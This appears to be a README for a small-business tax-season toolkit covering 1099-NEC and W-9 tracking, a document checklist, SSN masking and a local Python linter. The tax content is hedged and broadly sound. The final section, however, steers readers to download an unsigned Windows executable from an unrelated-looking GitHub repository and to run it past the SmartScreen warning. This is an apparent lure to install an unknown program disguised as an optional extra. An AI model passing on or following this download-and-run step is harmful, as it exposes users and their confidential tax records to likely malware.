The job

January arrives with a folder of scanned receipts, a missing W-9 from a contractor and a 1099 that was never sent because nobody tracked who was a vendor.

What you get

Build the document list for the tax year: income records, expense records, payroll records and prior year returns.
Build the vendor list from the payments made, marking each vendor as W-9 on file or missing.
Run the compliance linter over the notes to catch missing forms, name and TIN mismatches, and unmasked identifiers.
Set the dated tasks: request the missing forms, prepare and mail the 1099-NEC copies, and hand the file to the preparer.

Output contract:

document_checklist - every folder with owner, status and where it belongs
vendor_tracker - vendor, total paid, W-9 status, 1099 required and the date the copy was mailed
compliance_flags - the missing form or mismatch that has to be fixed
calendar - dated tasks from January through the filing season
masked_ids - identifiers with all but the last four digits removed

US specifics that matter

Form 1099-NEC is due to the recipient and to the IRS by January 31 for the prior tax year, and the reporting threshold has been $600 of payments to a non-employee for services.
A Form W-9 is how a payee gives a correct Taxpayer Identification Number, and without a valid one backup withholding at 24% applies to payments made after the 60-day response window.
An EIN is two digits, a hyphen and seven digits; an SSN or ITIN is three digits, a hyphen and two digits, a hyphen and four digits.
The federal standard deduction for tax year 2026 is in the $16,000 range for a single filer and the $32,000 range for married filing jointly, but confirm the exact amounts in the IRS annual inflation adjustment release.

Guardrails (hard rules)

Never file a tax return or sign one for the client.
Never give tax advice or choose a filing position.
Never store a full SSN or ITIN in a shared document; mask all but the last four digits.
Never mark a 1099 as filed; only the user or their preparer confirms the filing.

Quickstart

1. Fill in the brief

templates/tax-season-checklist.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/lint_tax_notes.py --input tax-season-checklist.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/tax-season-1099.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Documents to gather

Prior year federal return and every 1099 or K-1 received.
Bank statements for every account for the full tax year.
Loan statements showing the interest paid.
Payroll records with the filed Forms 941 and W-3.
Fixed asset purchases and the depreciation schedule.
Sales tax filings for the states where the business collected tax.

1099 and W-9 handling

Issue a 1099-NEC when payments to a non-employee reach the threshold, which has been $600.
Deliver the recipient copy and file the IRS copy by January 31.
Request a W-9 before the first payment and chase it after 60 days.
Backup withholding is 24% on payments made after the 60-day window; confirm the current rate.
Check the payee's name against the EIN on the W-9, since a mismatch is the most common correction request.

Season calendar

January: close the vendor list and collect the missing W-9s.
Late January: prepare and mail the 1099-NEC copies.
February: pull the prior year comparison and the property tax documents.
Give the preparer the ledgers, the statements and the reconciliations, not a summary of them.
Keep the tax year folder together so the next season starts from a clean file.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows desktop app with several AI models in one window, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	`https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/ModelBox-Windows-x64.zip`
File	`ModelBox-Windows-x64.zip` (9.6 MB)
SHA-256	`ffe500c8c010240209e759480931c1ec6da6c232a3ddcfbf737a345717dc03ff`
Inside the archive	`ModelBox-Windows-x64.exe`

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\ModelBox-Windows-x64.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start ModelBox-Windows-x64.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.
